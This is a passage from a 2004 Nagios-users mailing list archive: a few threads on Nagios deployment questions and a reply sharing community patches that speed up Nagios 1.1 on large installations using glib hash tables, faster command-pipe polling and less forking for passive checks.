Stewart) Date: Mon, 15 Mar 2004 10:44:21 -0700 Subject: Webish question In-Reply-To: References: Message-ID: <1079372661.1260.27.camel@bobspc.lanl.gov> Thanks for the reply... The server that runs the nagios monitor is the system that I do not want to run the web server on. >From the reading I have been doing on the "distributed monitoring" setup, I believe this is possible. On Mon, 2004-03-15 at 10:27, Matt Pounsett wrote: > On Mon, 15 Mar 2004, Robert Stewart wrote: > > > Thanks for the reply... > > > > I have some servers that for various reasons, I dont want to run a web > > server on. They are all on the same side of the firewall. > > How would I configure nagios to pass all events to another system? > > If I'm understanding the assumptions behind your question correctly... > It sounds as if you expect to have to run web servers on all your nagios > client machines. This isn't the case. > > You don't need to run a web server on a machine in order to monitor it. The > only place Nagios comes close to requiring a web server is on the machine > doing the monitoring.. the Nagios server itself.. and then, only if you want > to use its web interface. Most people do use it, but I think you can get by > without it. -- Thanks Bob Stewart (res at lanl.gov) mail stop B255 phone = 505-667-9847 ta3, sm1498, room 240 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From nadine.vandois at bull.net Mon Mar 15 19:04:12 2004 From: nadine.vandois at bull.net (nadine.vandois at bull.net) Date: Mon, 15 Mar 2004 19:04:12 +0100 Subject: Large networks ? Message-ID: Hi, I have installed Nagios on small networks, and now, I would like to get some idea on how many servers (servers, routers) and services, Nagios can monitor. And, in this case, which configuration is required, and what are the performances. May someone give some information on this subject ? Has someone got experience by monitoring large networks ? Any information you can give is most welcome. Thanks in advance for your help. Nadine VANDOIS ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From noah at mac.com Mon Mar 15 20:11:41 2004 From: noah at mac.com (Noah Leaman) Date: Mon, 15 Mar 2004 11:11:41 -0800 Subject: Large scale network monitoring limits with nagios In-Reply-To: References: Message-ID: <9752EA76-76B4-11D8-BEF2-000393ACBF0C@mac.com> Thanks Michael, For some reason I missed your replies the first time with your patches included. Got it now and I'll be applying them soon. -- Noah On Friday, March 12, 2004, at 04:25 AM, michael at optusnet.com.au wrote: > Noah Leaman writes: >> Hopes it's o.k. cross posting to both groups on this matter... >> >> Using the concept of one service per up/down trap for each network >> interface, I tested a little by creating a very simple set of nagios >> configs, but with about 8000 PASSIVE service checks and no active >> service checks. of course there was no problem in terms of scheduling >> issues, but the CGIs all crawled to a snails pace. In my setup (nagios >> 1.2, Dual G4 first-gen xServe) it takes about 30 secs to display the >> Status Summary page. > > Yes, this is what I'd expect. The problem is that nagios out of the > box has some terrible code in it. In particular, there's a lot of > places (including the display cgi's) that use O(n^2) algorithms. > > Some of the time the problem is hidden; Upper level code will > do "foreach (list) { action }" where 'action' calls a function > also does a linear search of the same list. oops. > > Other times the problem is obvious: Code that adds elements > to the end of a singly linked list. By doing a linear > search from the beginning. For each item added. For 12,000 > items. oops. > > In our local version we create hash tables, and pre/post-sort lists to > work around the worst of the problems. > > If you dig through the list archives you'll see the patches that > were sent in to fix it for 1.1. > > That still leaves the other big problem with the passive service > checks. Believe it or not, sending a passive result makes nagios > fork()!! The parent process reads the check result, fork()s and then > resends the result again to the parent. Rather wild stuff. :) > Even better is that the child process has to wait around > for the parent to handle the send. > > This is normally masked because the main event loop simply > doesn't check the named pipe very frequently, so normally > your external scripts will blow up with massive queues > waiting for nagios to read the pipe. > > Nagios out of the box is simply not ready for reasonable > scale yet. > > Michael. > > Ps. Ok. I saved you some effort. I dug up the local patches: > (Note: I didn't write these) > > * Check the named pipe frequently. > * Don't fork() too often when handling passive check results. > * Use hash tables and sorted lists to get rid of most of the > O(n^2) places. > * Sleep only for a short time in the main loop. > * allow check for auth-smtp. > * fix a few bugs. > * introduces depedancy on glib. > > > > > > diff -ru nagios-1.1-virgin/base/Makefile.in nagios-1.1/base/Makefile.in > --- nagios-1.1-virgin/base/Makefile.in Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/base/Makefile.in Tue Oct 7 13:03:51 2003 > @@ -10,9 +10,9 @@ > SRC_XDATA=../xdata > > CC=@CC@ > -CFLAGS=@CFLAGS@ @DEFS@ -DNSCORE > +CFLAGS=@CFLAGS@ @DEFS@ -DNSCORE `pkg-config glib --cflags` > #CFLAGS=-O3 -Wall -Wshadow -Wpointer-arith -Wcast-qual -Wcast-align > -Wstrict-prototypes -Wmissing-prototypes -Wnested-externs > -DHAVE_CONFIG_H -DNSCORE > -LDFLAGS=@LDFLAGS@ @LIBS@ > +LDFLAGS=@LDFLAGS@ @LIBS@ `pkg-config glib --libs` > > prefix=@prefix@ > exec_prefix=@exec_prefix@ > diff -ru nagios-1.1-virgin/cgi/Makefile.in nagios-1.1/cgi/Makefile.in > --- nagios-1.1-virgin/cgi/Makefile.in Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/cgi/Makefile.in Tue Oct 7 13:03:51 2003 > @@ -25,9 +25,9 @@ > > CP=@CP@ > CC=@CC@ > -CFLAGS=@CFLAGS@ @DEFS@ -DNSCGI > +CFLAGS=@CFLAGS@ @DEFS@ -DNSCGI `pkg-config glib --cflags` > #CFLAGS=-O3 -Wall -Wshadow -Wpointer-arith -Wcast-qual -Wcast-align > -Wstrict-prototypes -Wmissing-prototypes -Wnested-externs > -DHAVE_CONFIG_H -DNSCGI > -LDFLAGS=@LDFLAGS@ @LIBS@ > +LDFLAGS=@LDFLAGS@ @LIBS@ `pkg-config glib --libs` > > CGIS=avail.cgi cmd.cgi config.cgi extinfo.cgi history.cgi > notifications.cgi outages.cgi showlog.cgi status.cgi statuswml.cgi > summary.cgi tac.cgi $(CGIEXTRAS) > > diff -ru nagios-1.1-virgin/common/common.h nagios-1.1/common/common.h > --- nagios-1.1-virgin/common/common.h Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/common/common.h Tue Oct 7 13:03:51 2003 > @@ -208,8 +208,12 @@ > #define OK 0 > #define ERROR -2 /* value was changed from -1 so as to not > interfere with STATUS_UNKNOWN plugin result */ > > +#ifndef TRUE > #define TRUE 1 > +#endif > +#ifndef FALSE > #define FALSE 0 > +#endif > > > /****************** HOST CONFIG FILE READING OPTIONS > ********************/ > diff -ru nagios-1.1-virgin/common/config.h.in > nagios-1.1/common/config.h.in > --- nagios-1.1-virgin/common/config.h.in Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/common/config.h.in Tue Oct 7 13:03:51 2003 > @@ -214,3 +214,7 @@ > #include > #endif > > +#define HAVE_GLIB_H 1 > +#ifdef HAVE_GLIB_H > +#include > +#endif > diff -ru nagios-1.1-virgin/common/objects.c nagios-1.1/common/objects.c > --- nagios-1.1-virgin/common/objects.c Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/common/objects.c Tue Oct 7 13:03:51 2003 > @@ -59,7 +59,10 @@ > servicedependency *servicedependency_list=NULL; > hostdependency *hostdependency_list=NULL; > hostescalation *hostescalation_list=NULL; > +GTree *service_tree = NULL; > +GHashTable *host_hash = NULL; > > +int service_list_add(char *key, service *v, void *data); > > > /******************************************************************/ > @@ -99,6 +102,8 @@ > printf("read_object_config_data() end\n"); > #endif > > + g_tree_traverse(service_tree, > (GTraverseFunc)service_list_add, G_IN_ORDER, NULL); > + > return result; > } > > @@ -107,6 +112,13 @@ > /**************** OBJECT ADDITION FUNCTIONS ***********************/ > /******************************************************************/ > > +int service_list_add(char *key, service *v, void *data) > +{ > + v->next = service_list; > + service_list = v; > + return 0; > +} > + > > > /* add a new timeperiod to the list in memory */ > @@ -747,6 +759,16 @@ > printf("\tNotification Interval: > %d\n",new_host->notification_interval); > printf("\tNotification Time Period: > %s\n",new_host->notification_period); > #endif > + > +#ifdef HAVE_GLIB_H > + /* Cache host in hash table */ > + if (!host_hash) > + host_hash = g_hash_table_new(g_str_hash, g_str_equal); > + > + if (host_hash) > + g_hash_table_insert(host_hash, new_host->name, new_host); > +#endif > + > #ifdef DEBUG0 > printf("add_host() end\n"); > #endif > @@ -2173,40 +2195,7 @@ > strcpy(new_service->perf_data,""); > > #endif > - /* add new service to service list, sorted by host name then service > description */ > - last_service=service_list; > - > for(temp_service=service_list;temp_service!=NULL;temp_service=temp_serv > ice->next){ > - > - if(strcmp(new_service->host_name,temp_service->host_name)<0){ > - new_service->next=temp_service; > - if(temp_service==service_list) > - service_list=new_service; > - else > - last_service->next=new_service; > - break; > - } > - > - else if(strcmp(new_service->host_name,temp_service->host_name)==0 > && strcmp(new_service->description,temp_service->description)<0){ > - new_service->next=temp_service; > - if(temp_service==service_list) > - service_list=new_service; > - else > - last_service->next=new_service; > - break; > - } > > - else > - last_service=temp_service; > - } > - if(service_list==NULL){ > - new_service->next=NULL; > - service_list=new_service; > - } > - else if(temp_service==NULL){ > - new_service->next=NULL; > - last_service->next=new_service; > - } > - > #ifdef DEBUG1 > printf("\tHost: %s\n",new_service->host_name); > printf("\tDescription: %s\n",new_service->description); > @@ -2222,6 +2211,19 @@ > printf("\tEvent Handler: > %s\n",(new_service->event_handler==NULL)?"N/A":new_service- > >event_handler); > #endif > > +#ifdef HAVE_GLIB_H > + /* Cache service in tree */ > + if (!service_tree) > + service_tree = g_tree_new((GCompareFunc)strcmp); > + > + if (service_tree) > + { > + char *key = calloc(strlen(new_service->host_name) + > strlen(new_service->description) + 2, 1); > + sprintf(key, "%s-%s", new_service->host_name, > new_service->description); > + g_tree_insert(service_tree, key, new_service); > + } > +#endif > + > #ifdef DEBUG0 > printf("add_service() end\n"); > #endif > @@ -3226,6 +3228,13 @@ > if(name==NULL) > return NULL; > > +#ifdef HAVE_GLIB_H > + /* Lookup host in the hash */ > + if (host_hash) > + return (host *)g_hash_table_lookup(host_hash, name); > +#endif > + > + > if(hst==NULL) > temp_host=host_list; > else > @@ -3500,6 +3509,18 @@ > if(host_name==NULL || svc_desc==NULL) > return NULL; > > +#ifdef HAVE_GLIB_H > + /* Lookup service in the tree */ > + if (service_tree) > + { > + char *key = calloc(strlen(host_name) + strlen(svc_desc) + 2, 1); > + sprintf(key, "%s-%s", host_name, svc_desc); > + temp_service = (service *)g_tree_lookup(service_tree, key); > + free(key); > + return temp_service; > + } > +#endif > + > if(svcptr==NULL) > temp_service=service_list; > else > diff -ru nagios-1.1-virgin/common/statusdata.c > nagios-1.1/common/statusdata.c > --- nagios-1.1-virgin/common/statusdata.c Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/common/statusdata.c Tue Oct 7 13:04:12 2003 > @@ -51,6 +51,7 @@ > #ifdef NSCGI > hoststatus *hoststatus_list=NULL; > servicestatus *servicestatus_list=NULL; > +GTree *servicestatus_tree=NULL; > > time_t program_start; > int daemon_mode; > @@ -320,6 +321,7 @@ > /******************************************************************/ > > > +int servicestatus_list_add(servicestatus *key, void *v, void *data); > /* reads in all status data */ > int read_status_data(char *config_file,int options){ > int result=OK; > @@ -332,6 +334,7 @@ > result=xsddb_read_status_data(config_file,options); > #endif > > + g_tree_traverse(servicestatus_tree, > (GTraverseFunc)servicestatus_list_add, G_IN_ORDER, NULL); > return result; > } > > @@ -341,6 +344,12 @@ > /********************** ADDITION FUNCTIONS ************************/ > /******************************************************************/ > > +int servicestatus_list_add(servicestatus *key, void *v, void *data) > +{ > + key->next = servicestatus_list; > + servicestatus_list = key; > + return 0; > +} > > /* sets program status variables */ > int add_program_status(time_t _program_start, int _nagios_pid, int > _daemon_mode, time_t _last_command_check, time_t _last_log_rotation, > int _enable_notifications,int _execute_service_checks,int > _accept_passive_service_checks,int _enable_event_handlers,int > _obsess_over_services, int _enable_flap_detection, int > _enable_failure_prediction, int _process_performance_data){ > @@ -534,6 +543,16 @@ > return OK; > } > > +int servicestatus_cmp(servicestatus *a, servicestatus *b) > +{ > + int c; > + > + c = strcmp(b->host_name, a->host_name); > + if (c) > + return c; > + > + return strcmp(b->description, a->description); > +} > > /* adds a service status entry to the list in memory */ > int add_service_status(char *host_name,char *svc_description,char > *status_string,time_t last_update,int current_attempt,int > max_attempts,int state_type,time_t last_check,time_t next_check,int > check_type,int checks_enabled,int accept_passive_checks,int > event_handler_enabled,time_t last_state_change,int > problem_has_been_acknowledged,char *last_hard_state_string,unsigned > long time_ok,unsigned long time_warning,unsigned long > time_unknown,unsigned long time_critical,time_t last_notification,int > current_notification_number,int notifications_enabled, int latency, > int execution_time, int flap_detection_enabled, int is_flapping, > double percent_state_change, int scheduled_downtime_depth, int > failure_prediction_enabled, int process_performance_data, int > obsess_over_service, char *plugin_output){ > @@ -543,6 +562,8 @@ > int status; > int last_hard_state; > > + if (!servicestatus_tree) > + servicestatus_tree = g_tree_new( (GCompareFunc) servicestatus_cmp); > > /* make sure we have what we need */ > if(host_name==NULL) > @@ -724,41 +745,7 @@ > /* scheduled downtime depth */ > new_svcstatus->scheduled_downtime_depth=scheduled_downtime_depth; > > - > - /* add new service status to list, sorted by host name then > description */ > - last_svcstatus=servicestatus_list; > - > for(temp_svcstatus=servicestatus_list;temp_svcstatus!=NULL;temp_svcstat > us=temp_svcstatus->next){ > - > - if(strcmp(new_svcstatus->host_name,temp_svcstatus->host_name)<0){ > - new_svcstatus->next=temp_svcstatus; > - if(temp_svcstatus==servicestatus_list) > - servicestatus_list=new_svcstatus; > - else > - last_svcstatus->next=new_svcstatus; > - break; > - } > - > - else > if(strcmp(new_svcstatus->host_name,temp_svcstatus->host_name)==0 && > strcmp(new_svcstatus->description,temp_svcstatus->description)<0){ > - new_svcstatus->next=temp_svcstatus; > - if(temp_svcstatus==servicestatus_list) > - servicestatus_list=new_svcstatus; > - else > - last_svcstatus->next=new_svcstatus; > - break; > - } > - > - else > - last_svcstatus=temp_svcstatus; > - } > - if(servicestatus_list==NULL){ > - new_svcstatus->next=NULL; > - servicestatus_list=new_svcstatus; > - } > - else if(temp_svcstatus==NULL){ > - new_svcstatus->next=NULL; > - last_svcstatus->next=new_svcstatus; > - } > - > + g_tree_insert(servicestatus_tree, new_svcstatus, new_svcstatus); > > return OK; > } > diff -ru nagios-1.1-virgin/contrib/Makefile.in > nagios-1.1/contrib/Makefile.in > --- nagios-1.1-virgin/contrib/Makefile.in Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/contrib/Makefile.in Tue Oct 7 13:03:51 2003 > @@ -5,8 +5,8 @@ > ############################### > > CC=@CC@ > -CFLAGS=@CFLAGS@ @DEFS@ > -LDFLAGS=@LDFLAGS@ @LIBS@ > +CFLAGS=@CFLAGS@ @DEFS@ `pkg-config glib --cflags` > +LDFLAGS=@LDFLAGS@ @LIBS@ `pkg-config glib --libs` > > # Source code directories > SRC_COMMON=../common > diff -ru nagios-1.1-virgin/html/Makefile.in nagios-1.1/html/Makefile.in > --- nagios-1.1-virgin/html/Makefile.in Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/html/Makefile.in Tue Oct 7 13:03:51 2003 > @@ -1,6 +1,6 @@ > CC=@CC@ > -CFLAGS=@CFLAGS@ @DEFS@ > -LDFLAGS=@LDFLAGS@ @LIBS@ > +CFLAGS=@CFLAGS@ @DEFS@ `pkg-config glib --cflags` > +LDFLAGS=@LDFLAGS@ @LIBS@ `pkg-config glib --libs` > > prefix=@prefix@ > exec_prefix=@exec_prefix@ > diff -ru nagios-1.1-virgin/cgi/status.c nagios-1.1/cgi/status.c > --- nagios-1.1-virgin/cgi/status.c Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/cgi/status.c Tue Oct 7 12:29:00 2003 > @@ -1151,6 +1151,7 @@ > printf("Attempt  HREF='%s&sorttype=%d&sortoption=%d'>Sort  
> by current attempt (ascending) HREF='%s&sorttype=%d&sortoption=%d'>Sort  
> by current attempt  
> (descending) TH>",temp_url,SORT_ASCENDING,SORT_CURRENTATTEMPT,url_images_path,UP_ARR > OW_ICON,temp_url,SORT_DESCENDING,SORT_CURRENTATTEMPT,url_images_path,DO > WN_ARROW_ICON); > > printf("Status Information\n"); > + printf("Ack\n"); > printf("\n"); > > > @@ -1499,6 +1500,15 @@ > printf(" nowrap>%s\n",status_bg_class,state_duration); > printf(" CLASS='status%s'>%d/%d\n",status_bg_class,temp_status- > >current_attempt,temp_status->max_attempts); > printf(" CLASS='status%s'>%s \n",status_bg_class,temp_status- > >information); > + if (temp_status->status==SERVICE_OK) > + { > + printf(" \n",status_bg_class); > + } > + else > + { > + printf("Ack\n", > url_encode(temp_status->description)); > + } > > printf("\n"); > > diff -u -b -B -r1.1.1.1 Makefile.in > --- base/Makefile.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ base/Makefile.in 29 Jul 2003 08:22:54 -0000 > @@ -10,9 +10,9 @@ > SRC_XDATA=../xdata > > CC=@CC@ > -CFLAGS=@CFLAGS@ @DEFS@ -DNSCORE > +CFLAGS=@CFLAGS@ @DEFS@ -DNSCORE `glib-config --cflags` > #CFLAGS=-O3 -Wall -Wshadow -Wpointer-arith -Wcast-qual -Wcast-align > -Wstrict-prototypes -Wmissing-prototypes -Wnested-externs > -DHAVE_CONFIG_H -DNSCORE > -LDFLAGS=@LDFLAGS@ @LIBS@ > +LDFLAGS=@LDFLAGS@ @LIBS@ `glib-config --libs` > > prefix=@prefix@ > exec_prefix=@exec_prefix@ > diff -u -b -B -r1.1.1.1 Makefile.in > --- cgi/Makefile.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ cgi/Makefile.in 29 Jul 2003 08:22:54 -0000 > @@ -25,9 +25,9 @@ > > CP=@CP@ > CC=@CC@ > -CFLAGS=@CFLAGS@ @DEFS@ -DNSCGI > +CFLAGS=@CFLAGS@ @DEFS@ -DNSCGI `glib-config --cflags` > #CFLAGS=-O3 -Wall -Wshadow -Wpointer-arith -Wcast-qual -Wcast-align > -Wstrict-prototypes -Wmissing-prototypes -Wnested-externs > -DHAVE_CONFIG_H -DNSCGI > -LDFLAGS=@LDFLAGS@ @LIBS@ > +LDFLAGS=@LDFLAGS@ @LIBS@ `glib-config --libs` > > CGIS=avail.cgi cmd.cgi config.cgi extinfo.cgi history.cgi > notifications.cgi outages.cgi showlog.cgi status.cgi statuswml.cgi > summary.cgi tac.cgi $(CGIEXTRAS) > > diff -u -b -B -r1.1.1.2 common.h > --- common/common.h 23 Jun 2003 01:57:24 -0000 1.1.1.2 > +++ common/common.h 29 Jul 2003 08:22:54 -0000 > @@ -208,8 +208,12 @@ > #define OK 0 > #define ERROR -2 /* value was changed from -1 so as to not > interfere with STATUS_UNKNOWN plugin result */ > > +#ifndef TRUE > #define TRUE 1 > +#endif > +#ifndef FALSE > #define FALSE 0 > +#endif > > > /****************** HOST CONFIG FILE READING OPTIONS > ********************/ > diff -u -b -B -r1.1.1.1 config.h.in > --- common/config.h.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ common/config.h.in 29 Jul 2003 08:22:54 -0000 > @@ -214,3 +214,7 @@ > #include > #endif > > +#define HAVE_GLIB_H 1 > +#ifdef HAVE_GLIB_H > +#include > +#endif > diff -u -b -B -r1.1.1.1 objects.c > --- common/objects.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ common/objects.c 29 Jul 2003 08:22:54 -0000 > @@ -59,6 +59,7 @@ > servicedependency *servicedependency_list=NULL; > hostdependency *hostdependency_list=NULL; > hostescalation *hostescalation_list=NULL; > +GHashTable *service_hash = NULL; > > > > @@ -2222,6 +2223,19 @@ > printf("\tEvent Handler: > %s\n",(new_service->event_handler==NULL)?"N/A":new_service- > >event_handler); > #endif > > +#ifdef HAVE_GLIB_H > + /* Cache service in hash table */ > + if (!service_hash) > + service_hash = g_hash_table_new(g_str_hash, g_str_equal); > + > + if (service_hash) > + { > + char *key = calloc(strlen(new_service->host_name) + > strlen(new_service->description) + 2, 1); > + sprintf(key, "%s-%s", new_service->host_name, > new_service->description); > + g_hash_table_insert(service_hash, key, new_service); > + } > +#endif > + > #ifdef DEBUG0 > printf("add_service() end\n"); > #endif > @@ -3500,6 +3514,18 @@ > if(host_name==NULL || svc_desc==NULL) > return NULL; > > +#ifdef HAVE_GLIB_H > + /* Lookup service in the hash */ > + if (service_hash) > + { > + char *key = calloc(strlen(host_name) + strlen(svc_desc) + 2, 1); > + sprintf(key, "%s-%s", host_name, svc_desc); > + temp_service = (service *)g_hash_table_lookup(service_hash, key); > + free(key); > + return temp_service; > + } > +#endif > + > if(svcptr==NULL) > temp_service=service_list; > else > diff -u -b -B -r1.1.1.2 Makefile.in > --- contrib/Makefile.in 23 Jun 2003 01:57:24 -0000 1.1.1.2 > +++ contrib/Makefile.in 29 Jul 2003 08:22:54 -0000 > @@ -5,8 +5,8 @@ > ############################### > > CC=@CC@ > -CFLAGS=@CFLAGS@ @DEFS@ > -LDFLAGS=@LDFLAGS@ @LIBS@ > +CFLAGS=@CFLAGS@ @DEFS@ `glib-config --cflags` > +LDFLAGS=@LDFLAGS@ @LIBS@ `glib-config --libs` > > # Source code directories > SRC_COMMON=../common > diff -u -b -B -r1.1.1.1 Makefile.in > --- html/Makefile.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ html/Makefile.in 29 Jul 2003 08:22:54 -0000 > @@ -1,6 +1,6 @@ > CC=@CC@ > -CFLAGS=@CFLAGS@ @DEFS@ > -LDFLAGS=@LDFLAGS@ @LIBS@ > +CFLAGS=@CFLAGS@ @DEFS@ `glib-config --cflags` > +LDFLAGS=@LDFLAGS@ @LIBS@ `glib-config --libs` > > prefix=@prefix@ > exec_prefix=@exec_prefix@ > diff -ru nagios-1.1-virgin/cgi/status.c nagios-1.1/cgi/status.c > --- nagios-1.1-virgin/cgi/status.c Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/cgi/status.c Wed Nov 26 18:01:16 2003 > @@ -1293,9 +1293,15 @@ > strncpy(status,"CRITICAL",sizeof(status)); > status_class="CRITICAL"; > if(temp_status->problem_has_been_acknowledged==TRUE) > + { > status_bg_class="BGCRITICALACK"; > + status_class="BGCRITICALACK"; > + } > else if(temp_status->scheduled_downtime_depth>0) > + { > status_bg_class="BGCRITICALSCHED"; > + status_class="BGCRITICALSCHED"; > + } > else > status_bg_class="BGCRITICAL"; > } > diff -ur nagios-1.1-virgin/base/nagios.c nagios-1.1/base/nagios.c > --- nagios-1.1-virgin/base/nagios.c Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/base/nagios.c Thu Jul 10 08:32:20 2003 > @@ -51,6 +51,8 @@ > #include > #endif > > +#include > + > /******** BEGIN EMBEDDED PERL INTERPRETER DECLARATIONS ********/ > > #ifdef EMBEDDEDPERL > @@ -1497,6 +1499,8 @@ > printf("Current/Max Outstanding Checks: > %d/> %d\n",currently_running_service_checks,max_parallel_service_checks); > #endif > > + check_for_external_commands(); > + > /* handle high priority events */ > if(event_list_high!=NULL && > (current_time>=event_list_high->run_time)){ > > @@ -1594,8 +1598,13 @@ > } > > /* wait a second so we don't hog the CPU... */ > - else > - sleep((unsigned int)sleep_time); > + else { > + struct timespec t; > + t.tv_sec = 0; > + t.tv_nsec = 1000 * 1000 * 50; > + nanosleep(&t, NULL); > + //check_for_external_commands(); > + } > } > > /* we don't have anything to do at this moment in time */ > @@ -1606,7 +1615,12 @@ > check_for_external_commands(); > > /* wait a second so we don't hog the CPU... */ > - sleep((unsigned int)sleep_time); > + > + { struct timespec t; > + t.tv_sec = 0; > + t.tv_nsec = 1000 * 1000 * 50; > + nanosleep(&t, NULL); } > + > } > } > > --- commands.c.old Sat Aug 2 14:13:23 2003 > +++ nagios-1.1/base/commands.c Sat Aug 2 14:13:53 2003 > @@ -347,8 +347,19 @@ > > > /**** PROCESS ALL PASSIVE CHECK RESULTS AT ONE TIME ****/ > - if(passive_check_result_list!=NULL) > - process_passive_service_checks(); > + { > + static unsigned int last_checked = 0; > + unsigned int t; > + > + /* Don't process more frequently than once > every 5 seconds. */ > + /* This does a fork!!! */ > + time(&t); > + if(passive_check_result_list!=NULL && ((t - > last_checked) > 5) ) { > + process_passive_service_checks(); > + last_checked = t; > + } > + } > + > > > #ifdef DEBUG0 > --- commands.c.old Sat Aug 2 15:37:31 2003 > +++ nagios-1.1/base/commands.c Sat Aug 2 15:44:36 2003 > @@ -63,7 +63,7 @@ > > extern FILE *command_file_fp; > > -passive_check_result *passive_check_result_list; > +passive_check_result *passive_check_result_list = NULL; > > int flush_pending_commands=FALSE; > > @@ -96,9 +96,6 @@ > /* update the status log with new program information */ > update_program_status(FALSE); > > - /* reset passive check result list pointer */ > - passive_check_result_list=NULL; > - > /* reset flush flag */ > flush_pending_commands=FALSE; > > @@ -1279,13 +1276,9 @@ > > new_pcr->next=NULL; > > - /* add the passive check result to the end of the list in memory */ > - if(passive_check_result_list==NULL) > - passive_check_result_list=new_pcr; > - else{ > - for(temp_pcr=passive_check_result_list;temp_pcr- > >next!=NULL;temp_pcr=temp_pcr->next); > - temp_pcr->next=new_pcr; > - } > + /* add the passive check result to the head of the list in memory */ > + new_pcr->next = passive_check_result_list; > + passive_check_result_list = new_pcr; > > #ifdef DEBUG0 > printf("cmd_process_service_check_result() end\n"); > @@ -2845,6 +2838,17 @@ > > /* the grandchild process should submit the service check result... > */ > if(pid==0){ > + passive_check_result *t, *t1; > + /* Reverse passive list to correct the reverse that happened in > collection. */ > + > + t = passive_check_result_list; > + passive_check_result_list = NULL; > + while (t) { > + t1 = t->next; > + t->next = passive_check_result_list; > + passive_check_result_list = t; > + t = t1; > + } > > /* write all service checks to the IPC pipe for later processing > by the grandparent */ > > > for(temp_pcr=passive_check_result_list;temp_pcr!=NULL;temp_pcr=temp_pcr > ->next){ > Index: base/checks.c > =================================================================== > RCS file: /home/cvs/repos/nagios_source/base/checks.c,v > retrieving revision 1.1.1.1 > diff -u -r1.1.1.1 checks.c > --- base/checks.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ base/checks.c 7 Dec 2003 21:15:43 -0000 > @@ -522,6 +522,7 @@ > time_t current_time; > int first_check=FALSE; > int state_was_logged=FALSE; > + int output_changed = FALSE; > char old_plugin_output[MAX_PLUGINOUTPUT_LENGTH]=""; > char temp_plugin_output[MAX_PLUGINOUTPUT_LENGTH]=""; > char *temp_ptr; > @@ -617,6 +618,7 @@ > dependency_result=DEPENDENCIES_OK; > first_check=FALSE; > state_was_logged=FALSE; > + output_changed=FALSE; > strcpy(old_plugin_output,""); > strcpy(temp_plugin_output,""); > > @@ -705,6 +707,9 @@ > /* grab the return code */ > temp_service->current_state=queued_svc_msg.return_code; > } > + > + if (strcmp(old_plugin_output,temp_service->plugin_output)) > + output_changed = TRUE; > > /* get the host that this service runs on */ > temp_host=find_host(temp_service->host_name,NULL); > @@ -835,7 +840,7 @@ > state_was_logged=TRUE; > > /* notify contacts about the service recovery */ > - service_notification(temp_service,NULL); > + service_notification(temp_service,NULL,output_changed); > > /* run the service event handler to handle the hard state change > */ > handle_service_event(temp_service,HARD_STATE); > @@ -1064,7 +1069,7 @@ > check_pending_flex_service_downtime(temp_service); > > /* (re)send notifications out about this service problem if the > host is up (and was at last check also) and the dependencies were > okay... */ > - service_notification(temp_service,NULL); > + service_notification(temp_service,NULL,output_changed); > > /* run the service event handler if we changed state from the > last hard state or if this service is flagged as being volatile */ > if(hard_state_change==TRUE || temp_service->is_volatile==TRUE) > @@ -1103,7 +1108,6 @@ > > /* if we're stalking this state type and state was not already > logged AND the plugin output changed since last check, log it now.. */ > if(temp_service->state_type==HARD_STATE && state_change==FALSE && > state_was_logged==FALSE && > strcmp(old_plugin_output,temp_service->plugin_output)){ > - > if((temp_service->current_state==STATE_OK && > temp_service->stalk_on_ok==TRUE)) > log_service_event(temp_service,HARD_STATE); > > Index: base/commands.c > =================================================================== > RCS file: /home/cvs/repos/nagios_source/base/commands.c,v > retrieving revision 1.1.1.1 > diff -u -r1.1.1.1 commands.c > --- base/commands.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ base/commands.c 7 Dec 2003 21:15:43 -0000 > @@ -2277,7 +2277,7 @@ > > /* send out an acknowledgement notification */ > if(notify==TRUE) > - service_notification(svc,ack_data); > + service_notification(svc,ack_data,0); > > /* set the acknowledgement flag */ > svc->problem_has_been_acknowledged=TRUE; > Index: base/flapping.c > =================================================================== > RCS file: /home/cvs/repos/nagios_source/base/flapping.c,v > retrieving revision 1.1.1.1 > diff -u -r1.1.1.1 flapping.c > --- base/flapping.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ base/flapping.c 7 Dec 2003 21:15:43 -0000 > @@ -321,7 +321,7 @@ > > /* should we send a recovery notification? */ > if(svc->check_flapping_recovery_notification==TRUE && > svc->current_state==STATE_OK) > - service_notification(svc,NULL); > + service_notification(svc,NULL,0); > > /* clear the recovery notification flag */ > svc->check_flapping_recovery_notification=FALSE; > Index: base/nagios.h.in > =================================================================== > RCS file: /home/cvs/repos/nagios_source/base/nagios.h.in,v > retrieving revision 1.1.1.1 > diff -u -r1.1.1.1 nagios.h.in > --- base/nagios.h.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ base/nagios.h.in 7 Dec 2003 21:15:44 -0000 > @@ -367,10 +367,10 @@ > > > /**** Notification Functions ****/ > -int check_service_notification_viability(service *,char *); /* > checks viability of notifying all contacts about a service */ > +int 